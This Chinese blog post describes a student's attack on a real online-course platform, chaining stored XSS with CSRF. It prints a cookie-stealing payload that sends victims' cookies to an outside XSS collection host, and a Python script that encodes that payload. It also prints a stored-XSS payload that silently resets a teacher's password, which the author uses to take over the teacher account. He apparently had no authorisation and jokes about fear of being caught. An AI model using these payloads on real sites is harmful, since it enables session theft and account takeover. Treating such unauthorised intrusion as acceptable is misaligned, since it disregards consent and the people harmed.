Csrf+Xss组合拳

各位大师傅,第一次在合天发文章,请多多关照

1.png

今年年初的疫情确实有点突然,打乱了上半年的所有计划(本来是校内大佬带我拿奖的时刻,没了,学长毕业了,就剩下我这个小垃圾带着下一届去搞ctf了,难啊,难啊)

3.png

0x01

这个站是我疫情时候在线上网课的平台,本着对信息安全做贡献的目的下去做的这个渗透工作(咳咳,这个平台有个签到,每次签到我都在与大脑作斗争,最后争不过大脑,选择了睡觉,最后旷课太多,不搞要挂科。)

0x02

这个站简单的先用手机看了下,这种网课站我感觉xss比较好寻找一些,所以我找到的都是一些存储型xss,

先看一下第一个基本没鸟用的xss

用户个人资料处

4.png

更改姓名

Payload为<script>alert()</script>

(这个地方字数有限制,最长为24个字符)

保存,刷新页面

5.png

成功显示弹窗

经测试

1.学号

2.身份

3.学校

4.姓名处均存在存储型xss并能够弹窗

确实这个地方感觉确实没什么用,字数有限制,顶多就是在老师打开页面的时候弹出一个弹框,没鸟用啊,回头想想自己旷课的次数,md,拼了

0x03

6.png

发布新话题

测试发现

7.png

将上面全部代码进行复制

在下面编辑框中进行黏贴,直接解析为html

内容处可以执行html代码

测试发布时

8.png

发布后访问此话题

9.png

成功xss

进行下一步测试

进行获取cookies

<script src=””>

这个payload无法执行

不知道是服务器问题还是什么

换用其他payload

0.png

in_str = "(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};"

output = ""

for c in in_str:

output += "&#" + str(ord(c))

print("<svg><script>eval("" + output + "")</script>")

payload为

11.png

在进行测试

<svg><script>eval("(function(){(new Image()).src='http://xss.buuoj.cn/index.php?do=api&id=Mli4D9&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.buuoj.cn/index.php?do=keepsession&id=Mli4D9&url='+escape(document.location)+'&cookie='+escape(document.cookie)};")</script>

12.png

13.png

看看xss平台

14.png

15.png

成功获取

也可以使用其他的利用方法

16.png

17.png

跳转钓鱼网站

在页面内这是html表单进行钓鱼

或者js挂马等等

严重程度

中危

But。。

部分Cookeis设置了http-only,拿不到老师的全部cookie。

0x04

继续测试

更改密码处没有验证原先密码

18.png

根据前面找到的xss构建payload

19.png

```

<script type="text/javascript" src="http://admin.3cjz.cn/include/jQ.js"></script> <script> function loginSubmit() { $.ajax({ url: "https://www.xxxxxxxx.com/UserApi/updatePassword", type: "post", data: {"newpassword": "123456789"}, dataType: "json", success: function (data) { if (data.status == "1") { } else { } }, }); } loginSubmit() </script>

```

那么要去受害者要有兴趣去访问这个payload

20.png

作业处,受害者(例如老师,获取更大权限)老师要去更改作业

微信图片_20200727142754.png

找到在作业留言处存在存储型xss

在此处插入payload

查看效果

21.png

现在密码为123456789

登录正常

将payload的密码改为123456789.

我用的手机端(pc端似乎要抓包,懒)

22.png

23.png

提交成功

教师端进入批阅

老师的管理界面

24.png

教师端进入批阅

25.png

26.png

抓包看到

访问时,直接更新了密码

bbb.png

退出

密码为12345679时错误

vvv.png

密码为123456789.时成功

31.png

更改密码处存在csrf

联想到刚刚的存储型xss,一个csrf+xss的组合拳漏洞

0x05

最后到底有没有拿到老师权限呢

35.png

36.png

最高星星数6个

37.png

怕被发现。真带劲,哈哈

搞完手工,打包提交,以上漏洞至今为止已修复。

声明:作者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关。

实验推荐--DoraBox之CSRF

(通过DoraBox靶场系列闯关练习,理解跨站请求伪造漏洞的原理与利用过程。

喜欢文章的话快关注我们吧~第一时间获取网安干货!

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

2020年前端实用代码段,为你的工作保驾护航

有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )